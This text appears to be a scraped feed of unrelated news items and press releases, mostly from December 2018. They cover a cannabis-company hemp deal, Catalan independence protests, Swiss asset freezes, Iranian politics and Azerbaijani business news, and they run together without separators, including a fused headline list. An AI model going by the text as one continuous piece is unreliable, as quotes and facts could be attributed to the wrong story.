processors, enables GenCanna to implement advanced technology to increase hemp cultivation and production capacity throughout each stage of the supply chain. The investment is expected to produce a significant increase to MariMeds future earnings while ensuring a reliable supply of high quality, genetically superior hemp products for MariMeds newly created hemp division, above and beyond MariMeds core cannabis business. GenCanna, widely viewed as the gold standard of CBD manufacturing, is now even better with the addition of advanced CO2, high-capacity processing to extract and isolate cannabinoids to 99% purity at true scale, said Robert Fireman, MariMed CEO. MariMed is deeply committed to pharmaceutical-grade product quality, precision dosing, and purity. By combining GenCannas high-purity, high quality CBD oils with our proven product development processes and systems, we intend to raise the quality bar for hemp CBD products. We plan to be a major B2B and B2C distributor of branded CBD product -- taking superior CBD products to where consumers shop: the supermarket, medical clinics, drug store chains and other retailers in the US and beyond. The passing of the 2018 Farm Bill will be a critical step in the continued development of the hemp industry. Hemp-derived CBD is an input for thousands of products in dozens of markets. said Matty Mangone-Miranda, GenCanna CEO. The world is only beginning to understand the power of the hemp platform. MariMeds world-class product development expertise is a critical part of that platform. Our partnership is a win for us, a win for MariMed, and a win for the industry. With great partners, and with the great state of Kentucky, we will unlock the full potential of hemp. Search MariMed and post on social media with the hash tag #MedicatedByMarimed: Twitter: @MariMedInc Facebook: @MariMedInc Instagram: MariMedInc YouTube: MariMedInc # # # About MariMed Inc.: MariMed is a multi-state cannabis company that develops, owns and operates licensed cannabis facilities and develops and distributes branded cannabis and hemp product lines. MariMeds team has developed state-of-the-art regulatory-compliant facilities in DE, IL, NV, MD, MA, and RI, which are models of excellence in horticultural principals, cannabis production, product development, and dispensary operations. In addition, MariMed is on the forefront of precision-dosed branded cannabis and hemp-derived products for the treatment of specific medical conditions. MariMed currently distributes its branded products in approximately 10 states, and is expanding licensing and distribution to additional markets, encompassing thousands of dispensaries and additional retail outlets. MariMed Inc. is one of the top-performing public cannabis companies in the U.S., according to the U.S. Marijuana Index , ( www.marijuanaindex.com ). For additional information, visit www.MariMedAdvisors.com Forward Looking Statements: This release contains certain forward-looking statements and information relating to MariMed Inc., that is based on the beliefs of MariMed Inc.s management, as well as assumptions made by and information currently available to the Company. Such statements reflect the current views of the Company with respect to future events including estimates and projections about its business based on certain assumptions of its management, including those described in this Release. These statements are not guarantees of future performance and involve risk and uncertainties that are difficult to predict, including, among other factors, changes in demand for the Company's services and products, changes in the law and its enforcement and changes in the economic environment. Additional risk factors are included in the Company's public filings with the SEC. Should one or more of these underlying assumptions prove incorrect, actual results may vary materially from those described herein as "hoped," "anticipated," "believed," "planned, "estimated," "preparing," "potential," "expected" or words of a similar nature. The Company does not intend to update these forward-looking statements. None of the content of any of the websites referred to herein (even if a link is provided for your convenience) is incorporated into this release and the Company assumes no responsibility for any of such content. CONTACTS: For MariMed Business Development Jon Levine, CFO, MariMed info@MariMedAdvisors.com 781-559-8713 Investors Tyler Troup, Circadian Group tyler@circadian-group.com +1 (866) 950 8300 CDR demonstrators at a toll booth. Jaume Sellart (EFE) More information Catalan pro-independence leaders call off hunger strike The pro-Catalan independence leaders who are currently being held in pre-trial custody have signed a joint letter insisting that the protests planned in the region for tomorrow, to coincide with the central governments planned Cabinet meeting in Barcelona, be peaceful. The executive of Socialist Party (PSOE) Prime Minister Pedro Sanchez announced that it would be holding the meeting in the Catalan capital, after having done the same in Andalusia, in a bid to bring the central government closer to the people. But given the ongoing independence drive in the northeastern Spanish region, pro-secession supporters have interpreted the move as a provocation, and a number of demonstrations are being planned by groups such as the self-styled Committee for the Defense of the Republic (CDR). The politicians who penned the letter Jordi Turull, Josep Rull, Carme Forcadell, Jordi Sanchez, Jordi Cuixart, Raul Romeva, Joaquim Forn, Dolors Bassa and Oriol Junqueras called for the same non-violent attitude taken by citizens on October 1, 2017, the day that an illegal referendum on independence was held in Catalonia. Scenes of police violence against members of the public were seen, however, and were broadcast around the world. The things that they didnt achieve then, the things that meant a victory for the democratic movement of October 1, the things that dignify our cause; we cant allow anyone to spoil it by giving them the gift of images that they didnt get on October 1, the letter reads, in reference to the peaceful attitude of the public and the violence of the police and Civil Guard. They want to provoke us, they want us angry, they wanted us to be violent, and they will not achieve it Letter from independence leaders The politicians also called for people to not succumb to the provocation by sectors who are against the independence movement, and to avoid violent scenes. They want to provoke us, they want us angry, they wanted us to be violent, and they will not achieve it, the letter reads. Our strength resides in always, always maintaining a civic and peaceful attitude, one that banishes and isolates any un-civic or violent act. We will not allow them to change us, we will not succumb to any provocation. The group also defends the right to mobilize when it is helpful to do so and in the face of a scenario of regression of rights and freedoms. But they insist that this be done in a peaceful way. It has to continue in this way, because ours is, above all else, a just and democratic cause that is always expressed with the will to live and coexist peacefully and with freedom. The letter also makes reference to the PSOE, who presented a motion in Congress to condemn the actions of the then-Popular Party (PP) government of Prime Minister Mariano Rajoy for the police charges that took place during the October 1 referendum. That day democracy was the winner, the people were the winners, and the peaceful defense of the ballot boxes won, the letter reads. And those people who gave orders for peaceful citizens to be beaten lost. English version by Simon Hunter. Nearly 200 people gathered outside Barcelona City Hall on Wednesday to demand an investigation into a municipal police officer who shot a dog dead on Tuesday after claiming that the animal was attacking him. The protest was called by PACMA, the animal rights party, which wants Barcelona Mayor Ada Colau to investigate the facts of the case. The incident took place where Gran Via meets Placa de Espanya, in the neighborhood of Sants. Barcelona loves animals, and we dont want incidents such as this one to happen again Mayor Ada Colau According to the police version of events, two officers walked up to a street vendor to inform him that his dog should be restrained to comply with city bylaws. The young man, who was reported as homeless, allegedly took a confrontational attitude and refused to tie up the animal, which was a mixed-breed female named Sota. The police said that the dog attacked one of the officers, biting his hand. Its owner was unable to control her, and she lunged again, at which point the officer took out his service weapon and shot her in the head. Eyewitnesses gave varying accounts of the incident, with some denying that the dog had attacked the policeman. A witness who identified himself simply as Carlos said he had just walked out of the subway station when he saw the officers speaking rudely to the young man. Protest outside Barcelona City Hall on Wednesday afternoon. @PARTIDOPACMA (Europa Press) According to Carlos, the dog got nervous and started to bark at one of the policemen, without biting him. That was when one of the officers took out an extendable baton and threatened the dogs owner, and the other officer took out his gun and shot the dog in the head. All witnesses agree on what happened next: the young man took a look at his dog, grabbed his skateboard and hit the policeman with it on the head, breaking one of his teeth. Several police officers arrived at the scene to restrain the dogs owner, who was arrested and charged with assaulting a police officer. The Barcelona police has conducted an internal review, and concluded that the officer responded appropriately in a situation where his physical safety was at risk. In a tweet, Mayor Colau lamented the dogs death but also requested prudence before reaching conclusions. Barcelona loves animals, and we dont want incidents such as this one to happen again. When the investigation ends, we will review the protocols on dealing with animals to find a margin for improvement. English version by Susana Urra. OPEC Fund Partners Ameriabank to Address Problems and Help to Improve the Life of People in Armenia. T. Alnassar. Generation A: Edition 14. Exclusive Chance to Begin Your Professional Career with Ameriabank Katna Armenian cheeses enter the market: the new project of Galaxy Group of Companies US$30m OPEC Fund loan to Ameriabank to promote sustainable energy and support small businesses in Armenia Black Friday at ucom: up to 70% discount for smart home devices, gadgets and smartphones 116 million AMD assistance to minors with disabilities in Shirak Province from Mikayel Vardanyan Discussion on the topic IT infrastructure as the basis of the digital economy with the participation of the heads of telecommunication companies in Armenia Statement nn the ongoing Aggression by Azerbaijan against the Republic of Armenia "We condemn any attempts at borderisation, as observed since the incursion of Azerbaijani troops into Armenian territory on 12 May" Joint statement The United States is deeply concerned about reports of intensive fighting today between Armenia and Azerbaijan.ANTONY J. BLINKEN Statement of the MFA of Armenia Ookla has awarded Ucom with The fastest fixedline network in Armenia award UCOM keeps on supporting the 42 YEREVAN programming school Recognizing the One-Year Anniversary of the Ceasefire Declaration Between Armenia and Azerbaijan They should not be positioned near civilian communities neither in Armenia nor in Artsakh Humanitarian and human rights protection needed following the 2020 outbreak of hostilities between Armenia and Azerbaijan over Nagorno-Karabakh Google Ad Galaxy Group of Companies expands its activities in Belarus: a new TIME and Pandora store launched I think its a good moment to invest in Armenia. Head of Markets at Symbiotics Vincent Lehner Ameriabank has Raised USD 17.5M Tier 2 Capital UNIGHT TO UNITE. UCOM CELEBRATED ITS REBIRTH Ameriabank and HSBC Armenia to provide their customers access to each others ATMs without additional fees Ameriabank. 62.5% Growth in Taxes YOY Mikayel and Karen Vardanyans have provided 300 million AMD to overcome the infertility in Armenia UCOM has officially launched the sale of IPHONE 13 Six servicemen were wounded by the attack of the Azerbaijani armed forces in Artsakh, two of them in critical condition S&P Improved the Outlook on Ameriabank to Positive Ararat Mirzoyan to visit to Minsk Foreign Minister of India visits the Memorial of Armenian Genocide 1217 new cases Switzerland's Federal Council has extended the freeze on the assets of former president of Ukraine Viktor Yanukovych and his entourage for one year, the Swiss embassy in Ukraine has said. "The Federal Council of Switzerland has decided to extend for one year the freeze on the assets of ousted Ukrainian president Yanukovych and his entourage," the Swiss embassy in Ukraine wrote in a tweet on December 20. "The purpose of this decision is to support the judicial cooperation between Switzerland and Ukraine," the embassy said. As reported earlier, in 2014, Switzerland froze the assets of Yanukovych to the tune of CHF 70 million. On December 9, 2016, the Federal Department of Foreign Affairs of Switzerland said the freeze on the Ukrainian assets worth CHF 70 million was extended by a decision of the Federal Council until February 2018. The Federal Act on the Freezing and the Restitution of Illicit Assets held by Foreign Politically Exposed Persons (FIAA), which came into force on 1 July 2016, governs the duration of freezes and annual extensions to them. An extension is possible if cooperation within the framework of mutual legal assistance bears fruit. On December 19, 2018, the Federal Council decided to extend the freezes on the assets relating to ousted president Ben Ali of Tunisia (CHF 56 million) and ousted president Yanukovych of Ukraine (CHF 70 million) for one more year. KYIV. Dec 20 (Interfax-Ukraine) The key reasons of hostile takeover of businesses in Ukraine are corruption and problems with the system of public registration of property, Anticorruption Entrepreneurial Front President Igor Egorov has said. "The existence of hostile takeovers comes from a corrupt government, complete impunity for committing crimes of this kind and low-skilled law enforcement officers. According to official data of the Prosecutor General's Office for 2017, 315 criminal proceedings were registered under the article on obstruction of lawful economic activity, 99 crimes under the article on unlawful seizure of property, of which two and four, respectively, reached the court," he said at a press conference at Interfax-Ukraine on Wednesday. He also said that foreign companies for these reasons do not want to invest in a business in Ukraine, and each case of hostile takeover is a blow to the country. An example of this problem was the hostile takeover of a business center located at 21G, Dehtiarivska Street in Kyiv on December 11, among whose tenants are foreign companies and the 112 Ukraine TV channel. Representatives of the co-owners of the business center, Office Line and Patron Invest, said that the police could not take control of the situation, since the persons who had seized the building announced that the Avangard Invest LLC had acquired ownership rights to the business center. At the same time, the owners claim that the building was re-registered using illegal schemes and forged documents. According to lawyer of Patron Invest Iryna Belytska, one of the reasons that made this new registration possible is the weakness of the public registration system and a fairly wide access to public registers. "10 years ago it was impossible to accomplish this. Now it can be done in three days, having access to the register. Unfortunately, over the years of the register's existence, the pain points have not been eliminated," she said. Belytska said that Office Line and Patron Invest will defend their rights in courts, as well as initiate investigations by law enforcement agencies. However, the negative consequences of the incident cannot be avoided. "We have applied to law enforcement agencies, human rights organizations and we will use all available mechanisms," she said. According to the lawyer, the investment value of the office building is $10.5 million. LONDON, Dec 19 (Reuters) Iran denied on Wednesday reports that its exports of crude oil to Chile's state energy company ENAP might have been a possible source of noxious fumes that caused hundreds of people to seek hospital treatment in August. A total of 508 people, most of them children, sought treatment in Quintero and nearby Puchuncavi in August after residents reported a strong smell in the air. Chilean law enforcement officials are investigating Iranian crude oil as a possible source of the odour. On Wednesday, the National Iranian Oil Company (NIOC) denied any links between its crude exports to Chile and the noxious fumes. NIOC said international inspectors monitor the flow, loading and export of its oil and issue certificates which allow continuation of the exports. "Iran's export terminals are equipped with state-of-the-art laboratories and devices for checking and measuring the quality and amount of the oil, and the quality of the export oil is always being examined at different times of the day," NIOC said in a statement published by the oil ministry news agency SHANA. Last month the United States reimposed sanctions against Irans oil sector after pulling out of world powers' 2015 nuclear deal with Iran, saying Tehran was continuing to develop ballistic missiles and interfere in Middle Eastern conflicts. (Reporting by Bozorgmehr Sharafedin Editing by Mark Heinrich) Iranian Intelligence Minister Mahmoud Alavi has accused intelligence services of Irans neighbors, as well as those of countries farther afield, of being directly involved in actions against Iran's national security. Without further elaboration, mid-ranking cleric Alavi said foreign intelligence services are supporting "anti-Islamic Revolution" terrorist groups in full force. Alavi was responding to a question raised by an ultraconservative legislator in the Iranian Parliament on December 18. "What measures have been taken by the Intelligence Ministry in 2018 to rein in actions threatening national security and neutralize security-related crises?" MP Jahanbakhsh Mohebinia asked. While admitting that Iran's security situation has changed in recent years, Alavi responded, "We are in a situation where the intelligence services of neighboring and even faraway countries have directly stepped in against Iran's security in full force and support (anti-Islamic Revolution) terrorist groups with cash, goods, and training." With the much tougher American stance against the Islamic Republic, several mass protests this year and facing sanctions and an economic crisis, Tehran has become apprehensive about security. Pointing a finger at regional countries' intelligence organizations, particularly Israels, Alavi said they are engaged in organizing different anti-Islamic Revolution forces. On September 22, at least four attackers targeted a military parade in Ahvaz, capital of the oil-rich Khuzestan province, which has a large Arab population. The attack left at least 24 people dead, including spectators and more than sixty injured. An Arab separatist group, as well as the Islamic State group claimed responsibility. He added that various opposition groups are attempting to unify under the U.S. supportive umbrella. Lamenting that the budget allocated to his ministry has not been increased in recent years, Alavi said that the expectations from his department have grown. "While we used to focus on one single terrorist group every three months, now we uncover two terrorist groups per week," he said. "In the past, terrorists armed with Kalashnikovs used to enter Iran on pickups, but nowadays they come on SUVs, riding high-speed motorbikes and with machine guns and even 23 mm anti-air artillery." Alavi's comments echoed previous remarks made by former commanders of the Islamic Revolutionary Guards Corps (IRGC). Mohsen Rezaei, secretary of the influential Expediency Discernment Council (EDC) and former chief commander of the IRGC, recently said U.S. intelligence agents have infiltrated the government of Iranian President Hassan Rouhani. He also accused Saudi Arabia of setting up military bases in Iraq's Kurdistan and Pakistans Balochistan Province to destabilize Iran. However, Alavi praised Irans Intelligence Ministry for annually foiling 97 to 98 out of 100 terrorist moves. There is no intelligence force in the world that claims to foil 100 percent of terrorist actions, Alavi boasted. The outspoken deputy speaker of Iran's parliament has once again accused an influential conservative arbitration body of overstepping its legal authority and interfering in legislative procedures. Ali Motahari has lambasted the Expediency Discernment Council for its role in blocking the passage of President Hassan Rouhani's four proposals collectively known as the "Palermo Bills" in Iran, adding that the arbitration council is dreaming of becoming the Senate. The Palermo Bills, if adopted, would pave the way for the country to meet the Financial Action Task Force (FATF) requirements -- as well as those of the United Nations Convention Against Transnational Organized Crime (UNTOC), Convention against Funding Terrorism (CFT), and the United Nations Office of Drugs and Crimes -- in the hope of reducing international pressure on Irans deteriorating economy. Nevertheless, the bills have triggered a series of heated debates and disputes between Majles (parliament) and the Guardian Council (GC). Based on the Islamic Republic Constitution, all bills and parliamentary motions passed in Majles (parliament) should be endorsed by the GC to ensure the compatibility of laws with Islam and the Constitution. If the GC demanded amendments in draft laws, parliament might obey or refer the disputed bills and motions to the EDC for arbitration. Then, the decision of EDC would be final. Currently, the fate of the Palermo Bills is in the hands of EDC, which is supposed to issue a verdict for or against one of the two sides. Nevertheless, Ali Motahari believes that the EDC has overstepped its authority by independently amending the Palermo bills. The EDC's public relations office recently announced that the council had amended one of the disputed bills. Ali Motahari immediately lambasted the announcement on his Instagram account, describing it as "not convincing, and an excuse even worse than the sin". Tehran's MP who is notorious for not mincing his words, demanded, "In what capacity, and based on which Articles of the Constitution, the EDC has given itself the authority to amend the legislation?" Article 112 of the Islamic Republic's Constitution, Motahari has argued, "explicitly stipulates that the role of the EDC is limited to arbitration between Majles and the Guardian Council." Therefore, Motahari has gone further to say the EDC has no right to amend a governmental bill or parliamentary motion. Referring to the chairman of the EDC, Ayatollah Mahmoud Shahroudi, who is on leave of absence for medical treatment, Motahari said on his Instagram account, "Apparently, in the absence of their chairman, a number of the EDC members have grabbed the chance to dream about turning the council into a Senate." However, the dream will never come true unless the country's constitution changed, he retorted. Financial Action Task Force (FATF) has given Tehran until February to either endorse UNTOC or be added to its blacklist of countries refusing to cooperate in the fight against money laundering and financing terrorism. The International Monetary Fund is urging Tehran to endorse the bills. Moreover, the International Monetary Fund (IMF) has also urged Tehran to endorse the bills, implicitly warning that, if not, it will meet more hurdles in its global banking transactions. Iran and North Korea are the only countries on the FATF blacklist, but the Paris-based organization has suspended countermeasures against Tehran while it works on reforms. Baku, Azerbaijan, Dec. 20 Trend: EY Azerbaijan organised its first working breakfast of the year on the amendments in tax legislation and regulations. The first in the series of tax breakfasts, held regularly by EY Azerbaijan Tax and Legal team, was attended by governmental agencies, as well as existing and potential clients. EY Azerbaijan updated the participants on the latest developments in tax code reforms and described the recent measures undertaken to enforce the amendments. Arzu Hajiyeva, Partner, EY Azerbaijan Tax and Legal, was the key speaker during the event. She said: We were very happy to see that our clients and friends take great interest in the upcoming changes. We had a very lively discussion on the changes and shared a number of interesting points related to the changes. Around 150 people participated in our seminar this year, which shows that taxes are indeed becoming a key point on the business agenda in Azerbaijan! The EY tax breakfasts have become a popular platform for business leaders in Azerbaijan to exchange views and expertise and tax and regulatory issues. About EY EY is a global leader in assurance, tax, transaction, financial advisory and advisory services. The insights and quality services we deliver help build trust and confidence in the capital markets and in economies the world over. We develop outstanding leaders who team to deliver on our promises to all of our stakeholders. In so doing, we play a critical role in building a better working world for our people, for our clients and for our communities. EY works together with companies across the CIS and assists them in realizing their business goals. 4,500 professionals work at 19 CIS offices (in Moscow, St. Petersburg, Novosibirsk, Ekaterinburg, Kazan, Rostov-on-Don, Togliatti, Vladivostok, Almaty, Astana, Bishkek, Baku, Kyiv, Tashkent, Tbilisi, Minsk and other locations). EY refers to the global organization, and may refer to one or more, of the member firms of Ernst & Young Global Limited, each of which is a separate legal entity. Ernst & Young Global Limited, a UK company limited by guarantee, does not provide services to clients. For more information about our organization, please visit ey.com. EY in Azerbaijan EY made a major commitment to the development of Azerbaijan and the region by opening the office in Baku 24 years ago. Today, in addition to being the leading audit and consulting firm in Azerbaijan, we are the leading professional services firm in the region. We have been able to assist both domestic and international companies as well as state-owned entities to develop and manage the challenges of the international economy. There are currently more than 220 people working in our Baku office that serve our clients in Azerbaijan. EYs strength in the Caspian Region and the firms commitment of resources are important to the entities operating in the region. It means that as we grow, EY will continue to demonstrate a tradition of hiring and training local professionals to be leaders in our practice. Baku, Azerbaijan, Dec. 20 Trend: The UN is carrying out reforms in three directions - the secretariat, the peacekeeping department and the development system, UN Resident Coordinator in the Republic of Azerbaijan Ghulam Isaczai said. Isaczai made the remarks at the meeting in Baku with Azerbaijani Foreign Minister Elmar Mammadyarov, Trend reports referring to the Azerbaijani Foreign Ministry. Isaczai said that the UN development system reforms, based on the unanimously adopted resolution of the UN General Assembly of May 2018, are aimed at increasing efficiency, and he also noted the creation of a special Trust Fund to support the reform process. The sides exchanged the views on the beginning of the negotiations in the upcoming year on renewing the UN-Azerbaijan Partnership Framework document, signed between the sides in 2016. Mammadyarov said that Azerbaijan is actively involved in political dialogue and practical cooperation within the UN. The parties also exchanged the views on other issues of mutual interest. MONTREAL, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Imperial Mining Group Ltd. ("Imperial" or the Corporation) (TSX VENTURE: IPG) is pleased to announce that it has closed the first tranche of 9,003,890 common shares (each a Share) in the capital of the Corporation, issued on a flow-though basis, of a non-brokered private placement (the Offering) for gross proceeds of $810,350. This tranche is part of a total Offering of up to 16,666,666 Shares on a flow-though basis at a price of $0.09 per Share for total aggregate gross proceeds of up to $1,500,000. The Company anticipates closing of the final tranche of the Offering on or about December 31, 2018. The Corporation will use the proceeds of the Offering for exploration work on its properties. In connection with this first tranche of the Offering, the Corporation paid finders fees totaling $50,000 cash and issued 305,556 Share purchase warrants of the Corporation, each entitling to acquire one (1) Share until June 20, 2020 at an exercise price of $0.11 per Share. All securities issued pursuant to this tranche of the Offering are subject to the applicable statutory hold period ending April 21, 2019. The Offering is subject to the final approval of the TSX Venture Exchange. ABOUT IMPERIAL MINING GROUP LTD. Imperial is a new Canadian mineral exploration and development company focused on the advancement of its copper-zinc, gold and technology metals properties in Quebec. Imperial is publicly listed on the TSX Venture Exchange as IPG and is led by an experienced team of mineral exploration and development professionals with a strong track record of mineral deposit discovery in numerous metal commodities. For further information please contact: Peter J. Cashin President and Chief Executive Officer Tel: +1 (514) 360-0571 Email: info@imperialmgp.com URL: www.imperialmgp.com Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. Baku, Azerbaijan, Dec. 20 Trend: The 11th meeting - Azerbaijan-Turkey high-level military dialogue - has completed in Turkeys Ankara city, Trend reports referring to the Azerbaijani Defense Ministry on Dec. 20. The current prospects of cooperation between Azerbaijan and Turkey in the military, military-technical, military-medical, military-educational and other fields, including the issues of strengthening friendly relations between the armies of the two countries were discussed during the meeting. The main directions of the activity have been determined for solving the upcoming tasks and an action plan for 2019 has been coordinated during the meeting. At the end of the meeting, the protocols were signed. Azerbaijan was represented by Deputy Minister of Defense for Personnel, Chief of the Main Directorate for Personnel, Lieutenant-General Kerim Veliyev, while the Turkish side by Second Chief of the General Staff, Corps General Metin Gurak. The 12th meeting of the Azerbaijan-Turkey High-Level Military Dialogue in this format is planned to be held in Baku in late 2019. Baku, Azerbaijan, Dec. 20 Trend: A buyer will get back 15 percent of VAT when paying via the POS terminal in Azerbaijan, Deputy Minister for Taxes Sahib Alakbarov said, Trend reports with reference to the Vergiler newspaper. In case of cash payment, 10 percent of VAT on the cash receipt will be refunded to the buyer, he noted. As for the entrepreneur, the total amount of cashless payments in the total turnover will be determined, and a 25 percent benefit will be applied to this amount. He added that one of the factors hindering ensuring transparency is the very low level of non-cash payments. In order to increase the level of non-cash payments in Azerbaijan, serious changes are needed in this area, because the amount of funds in cash circulation are very large, and this is one of the factors that create conditions for the shadow economy to flourish, he said. He also reminded that Azerbaijans tax system is very young. The legislation and the administration system are being improved, extensive incentive measures are being applied, even if this leads to some material losses for the state budget, he said. In the end, our economy and the citizens of Azerbaijan will win. Baku, Azerbaijan, Dec. 20 Trend: Representatives of Azerbaijans Agency for Development of Small and Medium-sized Enterprises (SMEs) (KOBIA) were on a visit to the UK, where Chairman of the Board of KOBIA Orkhan Mammadov held a series of meetings with heads of the functional units of the European Bank for Reconstruction and Development (EBRD), Trend reports with reference to KOBIA. At a meeting with Head of the EBRDs program for development of SMEs Nadia Petkova, information on KOBIA activities was provided, issues discussed on cooperation between the EBRD and KOBIA, implementation of programs envisaged to support and finance startups in Azerbaijan, as well as SMEs based on international best practice. At the meetings with Matthew Jordan-Tank and Michel Nussbaumer, representatives of Infrastructure Policy and Project Preparation (IPPF) and the Legal Transition Program (LTP) at EBRD, an exchange of views was held on projects being implemented by the bank for the development of SMEs in Azerbaijan, new areas of cooperation prepared by the EBRD in the relevant areas for the future period. As a result of discussions, such areas of cooperation were identified as exploring the possibilities of potential cooperation in the development of entrepreneurship, integration of KOBIA into the EBRDs global small and medium business network, preparation of projects within the partnership in the state-private sector, the use of technical support mechanisms by the bank for the development of SMEs. Baku, Azerbaijan, Dec. 20 By Sara Israfilbayova Trend: The Black Sea Trade and Development Bank (BSTDB) may allocate about 80 million euros for projects in Azerbaijan in 2019, the Bank's President Dmitry Pankin said in an interview with Trend. He said that the relevant projects are already being prepared. "The Bank has a rather long history of relations with local companies and banks, and negotiations are also underway with several banks on new financing," he noted. He added that mainly this will be the financing of small and medium-sized enterprises (SMEs). BSTDB earlier told Trend that it is planning to allocate about 48 million euros for projects in Azerbaijan in 2018. In 2017, 93.12 million euros were allocated to Azerbaijan, and contracts worth 91.1 million euros were signed. In total, the Bank has so far allocated loans of 330 million euros to projects in Azerbaijan. BSTDB was founded by Azerbaijan, Albania, Bulgaria, Georgia, Greece, Moldova, Armenia, Romania, Turkey, Ukraine and Russia. The authorized capital of the Bank is 3.45 billion euros. --- Follow the author on Twitter: @IsrafilbekovaS Tehran, Iran, Dec. 20 Trend: It is predicted that the annual trade of the Economic Cooperation Organization (ECO) countries will rise up to $10 billion. "In order to raise their trade to $120 billion in 2025, it is predicted that the ECO countries will increase their annual trade to $10 billion," Trend reports as IRNA cited ECO Secretary General Hadi Soleimanpour. He noted that the rise in trade can be implemented through the Economic Cooperation Organization Free Trade Agreement or ECOTA. The official indicated the efforts to connect main corridors of the ECO countries through railways. The ECO members plan to develop digital communications as well. "In transport and communications sector, a program to expand digital connections will be proposed to members," Soleimanpour said. Ashgabat, Turkmenistan, Dec. 20 By Huseyn Hasanov Trend: The Union of Industrialists and Entrepreneurs of Turkmenistan and the Saudi Arabian Global Projects Development Holding Co. signed a memorandum of understanding in Ashgabat, Trend reports referring to the Union of Industrialists and Entrepreneurs. The document was signed by the heads of those structures. The sides confirmed the intention to develop cooperation in a wide range of areas, using the opportunities of the business circles of the two countries to expand ties and implement joint business projects. A meeting with Head of Global Projects Development Holding Co. Bader Al-Busais was held earlier in the head office of the Union of Industrialists and Entrepreneurs in Ashgabat. The representatives of the Saudi Arabian company showed interest in the information about big projects being implemented by the participants of the Union of Industrialists and Entrepreneurs in the field of transport, construction, development of the country's natural resources and aimed at innovative development of the economy, further integration of Turkmenistan into the international system of industrial, technological and trade relations. Baku, Azerbaijan, Dec. 20 By Fikret Dolukhanov Trend: Frances Alstom delivered the first of the 40 contracted Prima T8 AZ8A freight locomotives that will run on Baku-Tbilisi-Kars regional railway link to the Azerbaijan Railways, Trend reports on Dec. 19 referring to the press-service of the company. The locomotive arrived in Bilajary (Azerbaijan), after being shipped from Astana, Kazakhstan, on Dec. 7. Alstom will now conduct validation tests on the Azerbaijani railways infrastructure during the next few months. We are delighted to continue being a strategic partner of Azerbaijan Railways and to deliver the first freight locomotive to Azerbaijan that will help satisfy the increasing need for freight transportation in the country, Alstom Managing Director for Western and Central Asia Bernard Peille said. Alstom earlier presented its first electric freight locomotive Prima T8 AZ8A for Azerbaijan Railways. The presentation of the locomotive was held at the Electric Locomotives Assemblage Factory (EKZ), located on the territory of the Astana special economic zone. The first AZ8A locomotive became a part of the contract signed by EKZ with Azerbaijan Railways in 2014 for the supply of 50 locomotives, including 10 passenger locomotives Prima M4 AZ4A. AZ8A is a heavy-duty freight locomotive from the Prima T8 series, which is based on the KZ8A locomotive, currently operated in Kazakhstan. AZ8A is designed for operation at temperatures from -25 to 50 degrees Celsius. The locomotive is designed according to the specific technical requirements provided by the ARW Company, and also meets the GOST and TU standards. Prima T8 is one of the most powerful electric locomotives in the world. The model consists of two sections, is able to pull a train weighing up to 9,000 tons and reach a speed of 120 km/h. Founded in 1928, Alstom develops and markets systems, equipment and services for the transport sector. The company offers a complete range of solutions (from high-speed trains to metros, tramways and e-buses), passenger solutions, customized services (maintenance, modernization), infrastructure, signaling and digital mobility solutions. The official opening ceremony of the BTK railway was held in Baku Oct. 30 last year. The BTK railway was constructed on the basis a Georgian-Azerbaijani-Turkish intergovernmental agreement. The railways peak capacity will be 17 million tons of cargo per year. At an initial stage, this figure will be one million passengers and 6.5 million tons of cargo. --- Follow the author on Twitter: @FDolukhanov Baku, Azerbaijan, Dec.20 By Leman Zeynalova, Elnur Baghishov Trend: Iran National Steel Industrial Group has resumed its operation and the necessary primary products will be delivered there in 15 days, said Karim Yavari, official with Iranian Ministry of Labor and Social Affairs. More than 4,000 employees at the National Steel Industrial Group in Ahvaz (Khuzestan) stopped work on Nov. 9 in a dispute over unpaid wages and benefits. After a series of rallies and protest meetings by the strikers, police raided workers homes overnight on Dec.16 and detained at least 30 men. Yavari noted that officials of Irans Khuzestan province held a meeting with managers of the National Steel Industrial Group and representatives of the companys employees and as a result of the talks, the workers returned to the plant to continue the production, Trend reports citing Mehr. Speaking about the detained workers, he said that all the detainees will be freed by the end of this week. He pointed out that Iranian Ministry of Labor and Social Affairs is against the detainment of workers who hold non-violent protest actions. The primary products to the National Steel Industrial Group will be delivered in 10-15 days. The major shareholder of this company Bank Melli should pay special attention to the legal demands of workers, the process of paying their unpaid wages, as well as ensuring the supply of primary products to the Industrial Group, he said. The annual capacity of Iranian National Steel Industrial Group is 1,435,000 tons of steel products and 430,000 tons steel ingots. In addition to supplying the main part of the country needs, it is one of important exporters of steel products. It also produces fittings and wire, seamless pipe and beam. The Industrial Group includes steelmaking plant, Kowsar rolling plant, fittings and wire rolling plant, beam rolling plant, pipe plant and machine manufacturing plant. Details added first version posted on 13:01) Baku, Azerbaijan, Dec. 20 By Sara Israfilbayova Trend: A more solid platform will be created for the implementation of new initiatives in the field of small and medium-sized businesses (SMEs) in Azerbaijan thanks to the cooperation with BP company, Trend reports referring to Chairman of the Board of the Azerbaijani Agency for Development of Small and Medium-Sized Enterprises Orkhan Mammadov. Mammadov made the remarks in Baku on Dec. 20 during the ceremony of signing a memorandum of understanding between the Agency and BP. The memorandum envisages support for the development of SMEs in the country, he said. Mammadov stressed that the Agency appreciates the cooperation with BP, which throughout its activity in Azerbaijan has given impetus to sustainable development in the country not only in the energy sector, but also in the development of SMEs. "BP is a leader in investments in our country and is also one of the important customers in the SME sector, he said. From this point of view, we are interested in expanding BPs participation in the SME sector in Azerbaijan. BP is also known for its activity in social projects in the countries where it operates," Mammadov said, adding that BP is exemplary company in the implementation of these principles in Azerbaijan. He added that in the future, the Agency and BP will continue to cooperate for the development of the non-oil sector and the promotion of clustering. Mammadov also stressed that Azerbaijani President Ilham Aliyev focuses on the development of entrepreneurship, especially small and medium-sized businesses. The establishment of the Agency for Development of Small and Medium-Sized Enterprises upon the presidents initiative was stipulated by the need to organize a modern management system in SMEs, he added. "The Agency, despite the short period of work, successfully implements the tasks set by the president in this direction, and has already begun to implement strategic projects, he said. We implement these projects together with the corresponding bodies and structures." Among such projects, Mammadov called the creation of SME Houses, the creation of the Friends of SME network, which will play a key role in developing a dialogue between Azerbaijan and entrepreneurs and in creating activity based on the needs of entrepreneurs, creating a training system in accordance with the modern requirements and others. --- Follow the author on Twitter: @IsrafilbekovaS Baku, Azerbaijan, Dec.20 By Leman Zeynalova, Elnur Baghishov Trend: Iran will import livestock and meat from the Port of Trabzon in Turkey to Maku Free Trade and Industrial Zone, said 